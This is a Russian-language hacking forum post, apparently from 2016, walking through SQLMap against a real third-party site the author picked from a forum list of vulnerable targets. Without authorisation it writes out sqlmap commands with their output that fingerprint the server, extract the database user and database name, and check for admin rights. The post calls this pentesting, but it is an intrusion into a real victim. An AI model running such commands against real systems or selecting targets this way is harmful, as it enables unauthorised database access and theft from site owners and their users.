Auto-SQL

Тема в разделе "Взлом и уязвимости", создана пользователем Iso, 24 ноя 2016.

  1. Iso

    Iso

    Сообщения:
    5
    Баллы:
    1
    Доброго времени суток!

    В данном упражнении мы рассмотрим работу с такой интересной утилитой, как SQLMap.

    SQLMap - данная утилита работает на большинстве платформ и написана на Python'e. Позволяет автоматизировать работу обнаружения и эксплуатации SQL Инъекций. Поддерживает такие базы данных, как: MySQL, MS SQL, PostgerSQL, Oracle.

    Что же может данная утилита? А может она многое, вот некоторые ее возможности:
    • Определения "банера системы" (сервера, интерпретатора скриптов, базы данных);
    • Отображении имени пользователя, под которым работает атакуемое хозяйство;
    • Отображение баз данных, таблиц, колонок и полей;
    • Позволяет определить, есть ли у пользователя права администратора БД;
    • Позволяет выполнять произвольные SQL-запросы;
    • При хорошем стечении обстоятельств выдаст список пользователей и их хеш-пароли;
    • Позволяет сделать дамп, как отдельных таблиц, так и полный =);
    • Может взаимодействовать со всем нам известным Metasploit"ом;
    • Используя баги в базах данных, может прочитать разные файлы, лежащие на сервере, будь то текстовый файл или скрипт;
    • Может взаимодействовать с дядей Гуглом;
    • Есть поддержка прокси;
    • Данные могут отправляться как методом GET(по умолчанию), так и POST;
    • Если на сервере включена "magic quotes", то будет применено кодирование с использованием функции CHAR();
    • Существует возможность создавать файлы конфигурации, для тех кому лень постоянно вводить команды;
    • И еще куча прибомбасов... =)

    Вступление сделали - пришла пора потрогать утилитку.

    Для начала нам ее нужно скачать. Для этого пройдем по адресу http://sqlmap.sourceforge.net

    Пользователям Windows следует качать "Portable версию", которая содержит на своем борту интерпретатор Python, который обязателен, для запуска SQLMap. Собственно для более комфортной работы с утилитой - советую скопировать cmd.exe в папку, где находится SQLMap.

    Счастливые обладатели никсов, надеюсь разберутся с запуском и сами [​IMG]

    Итак, скачали, распаковали и что же дальше?

    А дальше нужно определиться с целью, на которой мы будет оттачивать свои навыки работы с SQLMap и для этого используем "паблик ресурсы"... Недолго думая - протопал я на Анти-Чат, в очень полезную тему(для тренировок разумеется) "Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > SQL Инъекции". Далее прошел на последнюю страницу и выбрал первую попавшуюся цель, "для пентестинга". Собственно ею стал, ничем не приметный, Канадский домен:http://blindcanadians.ca/press_relea...php?BriefID=50.

    С целью определились - приступим к пентестингу:

    Первое, что нам нужно сделать, это узнать, что крутится на сервере и что вообще это за сервер там такой. Сказано - сделано:

    Код:
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" -b -v 1
    Windows: cmd.exe sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" -b -v 1
    Цитата:
    Результат:

    sqlmap/0.8 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net
    [*] starting at: 04:53:42

    [04:53:42] [INFO] using '/src/sqlmap/output/blindcanadians.ca/session' as session file
    [04:53:42] [INFO] resuming match ratio '0.9' from session file
    [04:53:42] [INFO] resuming injection point 'GET' from session file
    [04:53:42] [INFO] resuming injection parameter 'BriefID' from session file
    [04:53:42] [INFO] resuming injection type 'numeric' from session file
    [04:53:42] [INFO] resuming 0 number of parenthesis from session file
    [04:53:42] [INFO] resuming back-end DBMS 'mysql 5' from session file
    [04:53:42] [INFO] resuming back-end DBMS operating system 'None' from session file
    [04:53:42] [INFO] resuming back-end DBMS operating system 'None' from session file
    [04:53:42] [INFO] testing connection to the target url
    [04:53:43] [INFO] testing for parenthesis on injectable parameter
    [04:53:43] [INFO] the back-end DBMS is MySQL
    [04:53:43] [INFO] fetching banner
    [04:53:43] [INFO] read from file '/src/sqlmap/output/blindcanadians.ca/session': 5.0.90-community
    [04:53:43] [INFO] the back-end DBMS operating system is None

    web application technology: Apache 2.0.63, PHP 5.2.5
    back-end DBMS operating system: None
    back-end DBMS: MySQL 5

    [04:53:43] [INFO] fetching banner
    [04:53:43] [INFO] the back-end DBMS operating system is None
    banner: '5.0.90-community'

    [04:53:43] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'[*] shutting down at: 04:53:43
    Из представленного листинга мы видим, что:
    • Сервер: Apache 2.0.63
    • Интерпретатор: PHP 5.2.5
    • База данных: MySQL 5 (5.0.90-community)

    В приведенном выше обращении к SQLMap мы использовали три параметра. Собственно, Первый - это "-u", позволяет указать, над каким адресом, мы хотим произвести манипуляции, а Второй - это "-b", говорит о том, что мы хотим "банер". Третий параметр "-v", служит для определения уровня выводимой информации, их всего шесть "0-5".

    Продолжим и узнаем под каким пользователем работает база данных:

    Код:
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-user -v 1
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-user -v
    Цитата:
    ...
    web application technology: Apache 2.0.63, PHP 5.2.5
    back-end DBMS: MySQL 5

    [05:19:44] [INFO] fetching current user
    [05:19:44] [INFO] retrieved: blindcan_blindca@localhost
    current user: 'blindcan_blindca@localhost'

    [05:25:14] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'[*] shutting down at: 05:25:14

    Параметр "--current-user", просит SQLMap отобразить юзера. Далее, узнаем с какой БД сейчас работаем:

    Код:
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-db -v 1
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-db -v 1
    Цитата:
    ...
    web application technology: Apache 2.0.63, PHP 5.2.5
    back-end DBMS: MySQL 5

    [05:27:04] [INFO] fetching current database
    [05:27:04] [INFO] retrieved: blindcan_aebc
    current database: 'blindcan_aebc'

    [05:29:20] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'[*] shutting down at: 05:29:20
    Параметр "--current-db", просит SQLMap отобразит БД.

    Теперь попросим нашу утилитку узанать, есть ли у нашего пользователя права администратора. Делается это следующим образом:

    Код:
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --is-dba -v 1
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --is-dba -v 1
    Цитата:
    ...

Поделиться этой страницей